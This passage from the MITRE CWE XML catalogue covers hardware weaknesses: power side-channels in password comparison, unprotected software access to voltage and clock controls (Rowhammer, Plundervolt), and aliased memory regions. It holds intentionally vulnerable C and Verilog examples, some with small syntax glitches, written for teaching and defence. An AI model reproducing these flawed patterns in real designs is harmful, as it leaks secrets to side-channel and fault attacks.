					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1255" Name="Comparison Logic is Vulnerable to Power Side-Channel Attacks" Abstraction="Variant" Structure="Simple" Status="Draft">
      <Description>A device's real time power consumption may be monitored during security token evaluation and the information gleaned may be used to determine the value of the reference token.</Description>
      <Extended_Description>
        <xhtml:p>The power consumed by a device may be instrumented and monitored in real time. If the algorithm for evaluating security tokens is not sufficiently robust, the power consumption may vary by token entry comparison against the reference value. Further, if retries are unlimited, the power difference between a "good" entry and a "bad" entry may be observed and used to determine whether each entry itself is correct thereby allowing unauthorized parties to calculate the reference value.</xhtml:p>
      </Extended_Description>
      <Related_Weaknesses>
        <Related_Weakness Nature="ChildOf" CWE_ID="1300" View_ID="1000" Ordinal="Primary"/>
        <Related_Weakness Nature="PeerOf" CWE_ID="1259" View_ID="1194" Ordinal="Primary"/>
      </Related_Weaknesses>
      <Applicable_Platforms>
        <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
        <Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
        <Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
        <Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
      </Applicable_Platforms>
      <Modes_Of_Introduction>
        <Introduction>
          <Phase>Architecture and Design</Phase>
          <Note>The design of the algorithm itself may intrinsically allow the power side channel attack to be effective</Note>
        </Introduction>
        <Introduction>
          <Phase>Implementation</Phase>
          <Note>This weakness may be introduced during implementation despite a robust design that otherwise prevents exploitation</Note>
        </Introduction>
      </Modes_Of_Introduction>
      <Common_Consequences>
        <Consequence>
          <Scope>Confidentiality</Scope>
          <Scope>Integrity</Scope>
          <Scope>Availability</Scope>
          <Scope>Access Control</Scope>
          <Scope>Accountability</Scope>
          <Scope>Authentication</Scope>
          <Scope>Authorization</Scope>
          <Scope>Non-Repudiation</Scope>
          <Impact>Modify Memory</Impact>
          <Impact>Read Memory</Impact>
          <Impact>Read Files or Directories</Impact>
          <Impact>Modify Files or Directories</Impact>
          <Impact>Execute Unauthorized Code or Commands</Impact>
          <Impact>Gain Privileges or Assume Identity</Impact>
          <Impact>Bypass Protection Mechanism</Impact>
          <Impact>Read Application Data</Impact>
          <Impact>Modify Application Data</Impact>
          <Impact>Hide Activities</Impact>
          <Note>As compromising a security token may result in complete system control, the impacts are relatively universal</Note>
        </Consequence>
      </Common_Consequences>
      <Potential_Mitigations>
        <Mitigation>
          <Phase>Architecture and Design</Phase>
          <Description>The design phase must consider each check of a security token against a standard and the amount of power consumed during the check of a good token versus a bad token. The alternative is an all at once check where a retry counter is incremented PRIOR to the check.</Description>
        </Mitigation>
        <Mitigation>
          <Phase>Architecture and Design</Phase>
          <Description>Another potential mitigation is to parallelize shifting of secret data (see example 2 below). Note that the wider the bus the more effective the result.</Description>
        </Mitigation>
        <Mitigation>
          <Phase>Architecture and Design</Phase>
          <Description>An additional potential mitigation is to add random data to each crypto operation then subtract it out afterwards. This is highly effective but costly in performance, area, and power consumption. It also requires a random number generator.</Description>
        </Mitigation>
        <Mitigation>
          <Phase>Implementation</Phase>
          <Description>If the architecture is unable to prevent the attack, using filtering components may reduce the ability to implement an attack, however, consideration must be given to the physical removal of the filter elements.</Description>
        </Mitigation>
        <Mitigation>
          <Phase>Integration</Phase>
          <Description>During integration, avoid use of a single secret for an extended period (e.g. frequent key updates). This limits the amount of data compromised but at the cost of complexity of use.</Description>
        </Mitigation>
      </Potential_Mitigations>
      <Demonstrative_Examples>
        <Demonstrative_Example>
          <Intro_Text>Consider an example hardware module that checks a user-provided password (or PIN) to grant access to a user. The user-provided password is compared against a stored value byte-by-byte.</Intro_Text>
          <Example_Code Nature="Bad" Language="C">
           static nonvolatile password_tries = NUM_RETRIES;<xhtml:br/>
           do<xhtml:br/>
	   <xhtml:div style="margin-left:1em;">
             while (password_tries == 0) ; // Hang here if no more password tries<xhtml:br/>
             password_ok = 0;<xhtml:br/>
             for (i = 0; i &lt; NUM_PW_DIGITS; i++)<xhtml:br/>
	     <xhtml:div style="margin-left:1em;">
               if (GetPasswordByte() == stored_password([i])<xhtml:br/>
	       <xhtml:div style="margin-left:1em;">
		 password_ok |= 1; // Power consumption is different here<xhtml:br/>
	       </xhtml:div>
               else<xhtml:br/>
	       <xhtml:div style="margin-left:1em;">
		 password_ok |= 0; // than from here<xhtml:br/>
	       </xhtml:div>
	     </xhtml:div>
             end<xhtml:br/>
             if (password_ok &gt; 0)<xhtml:br/>
	     <xhtml:div style="margin-left:1em;">
               password_tries = NUM_RETRIES;<xhtml:br/>
               break_to_Ok_to_proceed<xhtml:br/>
	     </xhtml:div>
             password_tries--;<xhtml:br/>
	   </xhtml:div>
           while (true)<xhtml:br/>
           // Password OK<xhtml:br/>
          </Example_Code>
          <Body_Text>Since the algorithm uses a different number of 1's and 0's for password validation, a different amount of power is consumed for the good byte versus the bad byte comparison. Using this information, an attacker may be able to guess the correct password for that byte-by-byte iteration with several repeated attempts by stopping the password evaluation before it completes.</Body_Text>
	  <Body_Text>Among various options for mitigating the string comparison is obscuring the power consumption by having opposing bit flips during bit operations. Note that in this example, the initial change of the bit values could still provide power indication depending upon the hardware itself. This possibility needs to be measured for verification.</Body_Text>
          <Example_Code Nature="Good" Language="C">
           static nonvolatile password_tries = NUM_RETRIES;<xhtml:br/>
           do<xhtml:br/>
	   <xhtml:div style="margin-left:1em;">
             while (password_tries == 0) ; // Hang here if no more password tries<xhtml:br/>
             password_tries--;  // Put retry code here to catch partial retries<xhtml:br/>
             password_ok = 0;<xhtml:br/>
             for (i = 0; i &lt; NUM_PW_DIGITS; i++)<xhtml:br/>
	     <xhtml:div style="margin-left:1em;">
               if (GetPasswordByte() == stored_password([i])<xhtml:br/>
	       <xhtml:div style="margin-left:1em;">
		 password_ok |= 0x10; // Power consumption here<xhtml:br/>
	       </xhtml:div>
               else<xhtml:br/>
	       <xhtml:div style="margin-left:1em;">
		 password_ok |= 0x01; // is now the same here<xhtml:br/>
	       </xhtml:div>
	     </xhtml:div>
             end<xhtml:br/>
             if ((password_ok &amp; 1) == 0)<xhtml:br/>
	     <xhtml:div style="margin-left:1em;">
               password_tries = NUM_RETRIES;<xhtml:br/>
               break_to_Ok_to_proceed<xhtml:br/>
	     </xhtml:div>
	   </xhtml:div>
           while (true)<xhtml:br/>
           // Password OK<xhtml:br/>
          </Example_Code>
          <Body_Text>Since the algorithm uses a different number of 1's and 0's for password validation, a different amount of power is consumed for the good byte versus the bad byte comparison. Using this information, an attacker may be able to guess the correct password for that byte-by-byte iteration with several repeated attempts by stopping the password evaluation before it completes.</Body_Text>
	  <Body_Text>An alternative to the previous example is simply comparing the whole password simultaneously.</Body_Text>
          <Example_Code Nature="Good" Language="C">
           static nonvolatile password_tries = NUM_RETRIES;<xhtml:br/>
           do<xhtml:br/>
	   <xhtml:div style="margin-left:1em;">
             while (password_tries == 0) ; // Hang here if no more password tries<xhtml:br/>
             password_tries--;  // Put retry code here to catch partial retries<xhtml:br/>
             for (i = 0; i &lt; NUM_PW_DIGITS; i++)<xhtml:br/>
	     <xhtml:div style="margin-left:1em;">
               stored_password([i]) = GetPasswordByte();<xhtml:br/>
	     </xhtml:div>
             end<xhtml:br/>
             if (stored_password == saved_password)<xhtml:br/>
	     <xhtml:div style="margin-left:1em;">
               password_tries = NUM_RETRIES;<xhtml:br/>
               break_to_Ok_to_proceed<xhtml:br/>
	     </xhtml:div>
	   </xhtml:div>
           while (true)<xhtml:br/>
           // Password OK<xhtml:br/>
          </Example_Code>
           <Body_Text>Since comparison is done atomically, there is no indication which bytes fail forcing the attacker to brute force the whole password at once. Note that other mitigations may exist such as masking - causing a large current draw to mask individual bit flips.</Body_Text>
       </Demonstrative_Example>
       <Demonstrative_Example>
          <Intro_Text>This code demonstrates the transfer of a secret key using Serial-In/Serial-Out shift. It's easy to extract the secret using simple power analysis as each shift gives data on a single bit of the key.</Intro_Text>
          <Example_Code Nature="Bad" Language="Verilog">
            module siso(clk,rst,a,q);<xhtml:br/>
	    <xhtml:div style="margin-left:1em;">
              input a;<xhtml:br/>
              input clk,rst;<xhtml:br/>
              output q;<xhtml:br/>
              reg q;<xhtml:br/>
              <xhtml:br/>
              always@(posedge clk,posedge rst)<xhtml:br/>
              begin<xhtml:br/>
	      <xhtml:div style="margin-left:1em;">
		if(rst==1'b1)<xhtml:br/>
		<xhtml:div style="margin-left:1em;">
                  q&lt;1'b0;<xhtml:br/>
		</xhtml:div>
		else<xhtml:br/>
		<xhtml:div style="margin-left:1em;">
                  q&lt;a;<xhtml:br/>
		</xhtml:div>
	      </xhtml:div>
              end<xhtml:br/>
	    </xhtml:div>
            endmodule<xhtml:br/>
          </Example_Code>
            <Body_Text>This code demonstrates the transfer of a secret key using a Parallel-In/Parallel-Out shift. In a parallel shift, data confounded by multiple bits of the key, not just one.</Body_Text>
            <Example_Code Nature="Good" Language="Verilog">
           module pipo(clk,rst,a,q);<xhtml:br/>
	   <xhtml:div style="margin-left:1em;">
             input clk,rst;<xhtml:br/>
             input[3:0]a;<xhtml:br/>
             output[3:0]q;<xhtml:br/>
             reg[3:0]q;<xhtml:br/>
             <xhtml:br/>
             always@(posedge clk,posedge rst)<xhtml:br/>
             begin<xhtml:br/>
	     <xhtml:div style="margin-left:1em;">
               if (rst==1'b1)<xhtml:br/>
	       <xhtml:div style="margin-left:1em;">
                 q&lt;4'b0000;<xhtml:br/>
	       </xhtml:div>
               else<xhtml:br/>
	       <xhtml:div style="margin-left:1em;">
                 q&lt;a;<xhtml:br/>
	       </xhtml:div>
	     </xhtml:div>
             end<xhtml:br/>
	   </xhtml:div>
           endmodule<xhtml:br/>
          </Example_Code>
        </Demonstrative_Example>
      </Demonstrative_Examples>
            <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2020-12788</Reference>
               <Description>CMAC verification vulnerable to timing and power attacks.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2020-12788</Link>
            </Observed_Example>
      </Observed_Examples>
      <Functional_Areas>
            <Functional_Area>Power</Functional_Area>
      </Functional_Areas>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="189"/>
         </Related_Attack_Patterns>
         <References>
         <Reference External_Reference_ID="REF-1184"/>
      </References>
      <Content_History>
        <Submission>
          <Submission_Name>CWE Content Team</Submission_Name>
          <Submission_Organization>MITRE</Submission_Organization>
          <Submission_Date>2020-05-29</Submission_Date>
        </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Functional_Areas, Maintenance_Notes, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Modes_of_Introduction, Observed_Examples, Potential_Mitigations, References, Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes, References, Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
        <Contribution Type="Content">
          <Contribution_Name>Accellera IP Security Assurance (IPSA) Working Group</Contribution_Name>
          <Contribution_Organization>Accellera Systems Initiative</Contribution_Organization>
          <Contribution_Date>2020-09-09</Contribution_Date>
          <Contribution_Comment>Submitted new material that could be added to already-existing entry CWE-1255. Added new Potential Mitigations, a new example, an observed example, and an additional reference.
        </Contribution_Comment>
        </Contribution>
      </Content_History>
    </Weakness>
      <Weakness ID="1256" Name="Improper Restriction of Software Interfaces to Hardware Features" Abstraction="Base" Structure="Simple" Status="Stable">

			<Description>The product provides software-controllable
			device functionality for capabilities such as power and
			clock management, but it does not properly limit
			functionality that can lead to modification of
			hardware memory or register bits, or the ability to
			observe physical side channels.</Description>
            <Extended_Description>
              <xhtml:p>It is frequently assumed that physical attacks
              such as fault injection and side-channel analysis
              require an attacker to have physical access to the
              target device.  This assumption may be false if the
              device has improperly secured power management features,
              or similar features.  For mobile devices, minimizing
              power consumption is critical, but these devices run a
              wide variety of applications with different performance
              requirements. Software-controllable mechanisms to
              dynamically scale device voltage and frequency and
              monitor power consumption are common features in today's
              chipsets, but they also enable attackers to mount fault
              injection and side-channel attacks without having
              physical access to the device.</xhtml:p>
			  
              <xhtml:p>Fault injection attacks involve strategic
              manipulation of bits in a device to achieve a desired
              effect such as skipping an authentication step,
              elevating privileges, or altering the output of a
              cryptographic operation.  Manipulation of the device
              clock and voltage supply is a well-known technique to
              inject faults and is cheap to implement with physical
              device access.  Poorly protected power management
              features allow these attacks to be performed from
              software.  Other features, such as the ability to write
              repeatedly to DRAM at a rapid rate from unprivileged
              software, can result in bit flips in other memory
              locations (Rowhammer, [REF-1083]).</xhtml:p>

			  <xhtml:p>Side channel analysis requires gathering
			  measurement traces of physical quantities such as power
			  consumption.  Modern processors often include power
			  metering capabilities in the hardware itself (e.g.,
			  Intel RAPL) which if not adequately protected enable
			  attackers to gather measurements necessary for
			  performing side-channel attacks from software.</xhtml:p>
            </Extended_Description>
			<Related_Weaknesses>
			  <Related_Weakness Nature="ChildOf" CWE_ID="285" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
		 <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
		 </Weakness_Ordinalities>
            <Applicable_Platforms>
                <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
                <Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
                <Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
                <Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
				<Technology Name="Memory Hardware" Prevalence="Undetermined"/>
			    <Technology Name="Power Management Hardware" Prevalence="Undetermined"/>
				<Technology Name="Clock/Counter Hardware" Prevalence="Undetermined"/>
            </Applicable_Platforms>
            <Modes_Of_Introduction>
                <Introduction>
                    <Phase>Architecture and Design</Phase>
					<Note>An architect may initiate introduction of
					this weakness via exacting requirements for
					software accessible power/clock management
					requirements</Note>
                </Introduction>
                <Introduction>
		            <Phase>Implementation</Phase>
					<Note>An implementer may introduce this weakness
					by assuming there are no consequences to unbounded
					power and clock management for secure components
					from untrusted ones.</Note>
                </Introduction>
            </Modes_Of_Introduction>
            <Common_Consequences>
                <Consequence>
                    <Scope>Integrity</Scope>
                    <Impact>Modify Memory</Impact>
                    <Impact>Modify Application Data</Impact>
                    <Impact>Bypass Protection Mechanism</Impact>
                </Consequence>
            </Common_Consequences>
	    <Detection_Methods>
	      <Detection_Method>
		<Method>Manual Analysis</Method>
		<Description>Perform a security evaluation of system-level
		architecture and design with software-aided physical attacks
		in scope.</Description>
	      </Detection_Method>
	      <Detection_Method>
		<Method>Automated Dynamic Analysis</Method>
		<Description>
		  <xhtml:p>Use custom software to change registers that control clock settings or power settings to try to bypass security locks, or repeatedly write DRAM to try to change adjacent locations. This can be effective in extracting or changing data. The drawback is that it cannot be run before manufacturing, and it may require specialized software.</xhtml:p>
		</Description>
		<Effectiveness>Moderate</Effectiveness>
	      </Detection_Method>
	    </Detection_Methods>
            <Potential_Mitigations>
                <Mitigation>
                    <Phase>Architecture and Design</Phase>
                    <Phase>Implementation</Phase>
                    <Description>
                        <xhtml:p>Ensure proper access control mechanisms protect software-controllable features altering physical operating conditions such as clock frequency and voltage.</xhtml:p>
                    </Description>
                </Mitigation>
            </Potential_Mitigations>
            <Demonstrative_Examples>
               <Demonstrative_Example>
                    <Intro_Text>This example considers the Rowhammer problem [REF-1083]. The Rowhammer issue was caused by a program in a tight loop writing repeatedly to a location to which the program was allowed to write but causing an adjacent memory location value to change.</Intro_Text>
                    <Example_Code Nature="Bad" Language="Other">
                        Continuously writing the same value to the same address causes the value of an adjacent location to change value.
                    </Example_Code>
                    <Body_Text>Preventing the loop required to defeat the Rowhammer exploit is not always possible:</Body_Text>
                    <Example_Code Nature="Good" Language="Other">
                        Redesign the RAM devices to reduce inter capacitive coupling making the Rowhammer exploit impossible.
                    </Example_Code>
                    <Body_Text>While the redesign may be possible for new devices, a redesign is not possible in existing devices. There is also the possibility that reducing capacitance with a relayout would impact the density of the device resulting in a less capable, more costly device.</Body_Text>
                </Demonstrative_Example>
                <Demonstrative_Example>
                    <Intro_Text>Suppose a hardware design implements a set of software-accessible registers for scaling clock frequency and voltage but does not control access to these registers. Attackers may cause register and memory changes and race conditions by changing the clock or voltage of the device under their control.</Intro_Text>
                </Demonstrative_Example>
            <Demonstrative_Example>
	      <Intro_Text>Consider the following SoC
	      design. Security-critical settings for scaling clock
	      frequency and voltage are available in a range of
	      registers bounded by [PRIV_END_ADDR : PRIV_START_ADDR]
	      in the tmcu.csr module in the HW Root of Trust. These
	      values are writable based on the lock_bit register in
	      the same module. The lock_bit is only writable by
	      privileged software running on the tmcu.</Intro_Text>
	    <Body_Text>
	    <xhtml:img src="https://cwe.mitre.org/data/images/HRoT-CWE.png" alt="Hardware Root of Trust"/>
	    <xhtml:p>
	      We assume that untrusted software running on any of the
	      Core{0-N} processors has access to the input and output
	      ports of the hrot_iface. If untrusted software can clear
	      the lock_bit or write the clock frequency and voltage
	      registers due to inadequate protection, a fault
	      injection attack could be performed.</xhtml:p>
	    </Body_Text>
            </Demonstrative_Example>
            </Demonstrative_Examples>
            <Observed_Examples>
            	<Observed_Example>
               		<Reference>CVE-2019-11157</Reference>
               		<Description>Plundervolt: Improper conditions check in voltage settings for some Intel(R) Processors may allow a privileged user to potentially enable escalation of privilege and/or information disclosure via local access [REF-1081].</Description>
               		<Link>https://www.cve.org/CVERecord?id=CVE-2019-11157</Link>
           		 </Observed_Example>
               <Observed_Example>
                     <Reference>CVE-2020-8694</Reference>
                     <Description>PLATYPUS Attack: Insufficient access control in the Linux kernel driver for some Intel processors allows information disclosure.</Description>
                     <Link>https://www.cve.org/CVERecord?id=CVE-2020-8694</Link>
                     </Observed_Example>
               <Observed_Example>
                     <Reference>CVE-2020-8695</Reference>
                     <Description>Observable discrepancy in the RAPL interface for some Intel processors allows information disclosure.</Description>
                     <Link>https://www.cve.org/CVERecord?id=CVE-2020-8695</Link>
                     </Observed_Example>
               <Observed_Example>
                     <Reference>CVE-2020-12912</Reference>
                     <Description>AMD extension to a Linux service does not require privileged access to the RAPL interface, allowing side-channel attacks.</Description>
                     <Link>https://www.cve.org/CVERecord?id=CVE-2020-12912</Link>
                     </Observed_Example>
					 <Observed_Example>
               		<Reference>CVE-2015-0565</Reference>
               		<Description>NaCl in 2015 allowed the CLFLUSH instruction, making Rowhammer attacks possible.</Description>
               		<Link>https://www.cve.org/CVERecord?id=CVE-2015-0565</Link>
           		 </Observed_Example>
           	</Observed_Examples>
         <Functional_Areas>
            	<Functional_Area>Power</Functional_Area>
                <Functional_Area>Clock</Functional_Area>
         </Functional_Areas>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="624"/>
            <Related_Attack_Pattern CAPEC_ID="625"/>
         </Related_Attack_Patterns>
         <References>
                <Reference External_Reference_ID="REF-1081"/>
                <Reference External_Reference_ID="REF-1082"/>
                <Reference External_Reference_ID="REF-1083"/>
                <Reference External_Reference_ID="REF-1225"/>
                <Reference External_Reference_ID="REF-1217"/>
            </References>
            <Content_History>
                <Submission>
                    <Submission_Name>Nicole Fern</Submission_Name>
                    <Submission_Organization>Tortuga Logic</Submission_Organization>
                    <Submission_Date>2020-05-08</Submission_Date>
                </Submission>
		<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Description, Maintenance_Notes, Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Functional_Areas, Maintenance_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Description, Detection_Factors, Maintenance_Notes, Modes_of_Introduction, Name, Observed_Examples, References, Relationships, Weakness_Ordinalities</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Contribution Type="Content">
               <Contribution_Organization>Tortuga Logic</Contribution_Organization>
               <Contribution_Date>2021-07-16</Contribution_Date>
               <Contribution_Comment>Provided Demonstrative Example for Hardware Root of Trust</Contribution_Comment>
            </Contribution>
		<Contribution Type="Content">
		  <Contribution_Name>Anders Nordstrom, Alric Althoff</Contribution_Name>
		  <Contribution_Organization>Tortuga Logic</Contribution_Organization>
		  <Contribution_Date>2021-10-11</Contribution_Date>
		  <Contribution_Comment>Provided detection method</Contribution_Comment>
		</Contribution>
		<Contribution Type="Content">
		  <Contribution_Name>Nicole Fern</Contribution_Name>
		  <Contribution_Organization>Riscure</Contribution_Organization>
		  <Contribution_Date>2021-10-15</Contribution_Date>
		  <Contribution_Comment>updated description and extended description, detection method, and observed examples</Contribution_Comment>
		</Contribution>
			<Previous_Entry_Name Date="2021-10-28">Hardware Features Enable Physical Attacks from Software</Previous_Entry_Name>
            </Content_History>
        </Weakness>
      <Weakness ID="1257" Name="Improper Access Control Applied to Mirrored or Aliased Memory Regions" Abstraction="Base" Structure="Simple" Status="Incomplete">
			<Description>Aliased or mirrored memory regions in hardware designs may have inconsistent read/write permissions enforced by the hardware. A possible result is that an untrusted agent is blocked from accessing a memory region but is not blocked from accessing the corresponding aliased memory region.
			</Description>
			<Extended_Description>
				<xhtml:p>Hardware product designs often need to implement memory protection features that enable privileged software to define isolated memory regions and access control (read/write) policies. Isolated memory regions can be defined on different memory spaces in a design (e.g. system physical address, virtual address, memory mapped IO).</xhtml:p>
				<xhtml:p>Each memory cell should be mapped and assigned a system address that the core software can use to read/write to that memory. It is possible to map the same memory cell to multiple system addresses such that read/write to any of the aliased system addresses would be decoded to the same memory cell.</xhtml:p>
				<xhtml:p>This is commonly done in hardware designs for redundancy and simplifying address decoding logic. If one of the memory regions is corrupted or faulty, then that hardware can switch to using the data in the mirrored memory region. Memory aliases can also be created in the system address map if the address decoder unit ignores higher order address bits when mapping a smaller address region into the full system address.</xhtml:p>
				<xhtml:p>A common security weakness that can exist in such memory mapping is that aliased memory regions could have different read/write access protections enforced by the hardware such that an untrusted agent is blocked from accessing a memory address but is not blocked from accessing the corresponding aliased memory address. Such inconsistency can then be used to bypass the access protection of the primary memory block and read or modify the protected memory.</xhtml:p>
				<xhtml:p>An untrusted agent could also possibly create memory aliases in the system address map for malicious purposes if it is able to change the mapping of an address region or modify memory region sizes.</xhtml:p>
			</Extended_Description>
			<Related_Weaknesses>
				<Related_Weakness Nature="ChildOf" CWE_ID="284" View_ID="1000" Ordinal="Primary"/>
				<Related_Weakness Nature="CanPrecede" CWE_ID="119" View_ID="1000"/>
			</Related_Weaknesses>
			<Applicable_Platforms>
				<Language Class="Not Language-Specific" Prevalence="Undetermined"/>
				<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
				<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
				<Technology Name="Memory Hardware" Prevalence="Undetermined"/>
				<Technology Name="Processor Hardware" Prevalence="Undetermined"/>
				<Technology Name="Microcontroller Hardware" Prevalence="Undetermined"/>
				<Technology Name="Network on Chip Hardware" Prevalence="Undetermined"/>
				<Technology Class="System on Chip" Prevalence="Undetermined"/>
			</Applicable_Platforms>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Architecture and Design</Phase>
				</Introduction>
				<Introduction>
					<Phase>Implementation</Phase>
				</Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
					<Scope>Confidentiality</Scope>
					<Impact>Read Memory</Impact>
					<Likelihood>High</Likelihood>
				</Consequence>
				<Consequence>
					<Scope>Integrity</Scope>
					<Impact>Modify Memory</Impact>
					<Likelihood>High</Likelihood>
				</Consequence>
				<Consequence>
					<Scope>Availability</Scope>
					<Impact>DoS: Instability</Impact>
					<Likelihood>High</Likelihood>
				</Consequence>
			</Common_Consequences>
			<Potential_Mitigations>
				<Mitigation>
					<Phase>Architecture and Design</Phase>
					<Phase>Implementation</Phase>
					<Description>The checks should be applied for consistency access rights between primary memory regions and any mirrored or aliased memory regions. If different memory protection units (MPU) are protecting the aliased regions, their protected range definitions and policies should be synchronized.</Description>
				</Mitigation>
				<Mitigation>
					<Phase>Architecture and Design</Phase>
					<Phase>Implementation</Phase>
					<Description>The controls that allow enabling memory aliases or changing the size of mapped memory regions should only be programmable by trusted software components.</Description>
				</Mitigation>
			</Potential_Mitigations>
			<Demonstrative_Examples>
				<Demonstrative_Example>
					<Intro_Text>
						<xhtml:p>In a System-on-a-Chip (SoC) design the system fabric uses 16 bit addresses. An IP unit (Unit_A) has 4 kilobyte of internal memory which is mapped into a 16 kilobyte address range in the system fabric address map.</xhtml:p>
						<xhtml:table>
							<xhtml:tr>
								<xhtml:td>
									System Address
								</xhtml:td>
								<xhtml:td>
									Mapped to
								</xhtml:td>
							</xhtml:tr>
							<xhtml:tr>
								<xhtml:td>
									0x0000 - 0x3FFF
								</xhtml:td>
								<xhtml:td>
									Unit_A  registers : 0x0000 - 0x0FFF
								</xhtml:td>
							</xhtml:tr>
							<xhtml:tr>
								<xhtml:td>
									0x4000 - 0xFFFF
								</xhtml:td>
								<xhtml:td>
									Other IPs &amp; Memory
								</xhtml:td>
							</xhtml:tr>
						</xhtml:table>
						<xhtml:p>
							To protect the register controls in Unit_A unprivileged software is blocked from accessing addresses between 0x0000 - 0x0FFF.
						</xhtml:p>
						<xhtml:p>
							The address decoder of Unit_A masks off the higher order address bits and decodes only the lower 12 bits for computing the offset into the 4 kilobyte internal memory space.
						</xhtml:p>
					</Intro_Text>
					<Example_Code Nature="Bad" Language="Other">
						<xhtml:p>In this design  the aliased memory address ranges are these:</xhtml:p>
						<xhtml:br/>
						<xhtml:p>0x0000 - 0x0FFF</xhtml:p>
						<xhtml:p>0x1000 - 0x1FFF</xhtml:p>
						<xhtml:p>0x2000 - 0x2FFF</xhtml:p>
						<xhtml:p>0x3000 - 0x3FFF</xhtml:p>
						<xhtml:p>
							The same register can be accessed using four different addresses: 0x0000, 0x1000, 0x2000, 0x3000.
						</xhtml:p>
						<xhtml:p>
							The system address filter only blocks access to range 0x0000 - 0x0FFF and does not block access to the aliased addresses in 0x1000 - 0x3FFF range. Thus, untrusted software can leverage the aliased memory addresses to bypass the memory protection.
						</xhtml:p>
					</Example_Code>
					<Example_Code Nature="Good" Language="Other">
						<xhtml:p>
							In this design the aliased memory addresses (0x1000 - 0x3FFF) could be blocked from all system software access since they are not used by software.
						</xhtml:p>
						<xhtml:p>
							Alternately, the MPU logic can be changed to apply the memory protection policies to the full address range mapped to Unit_A (0x0000 - 0x3FFF).
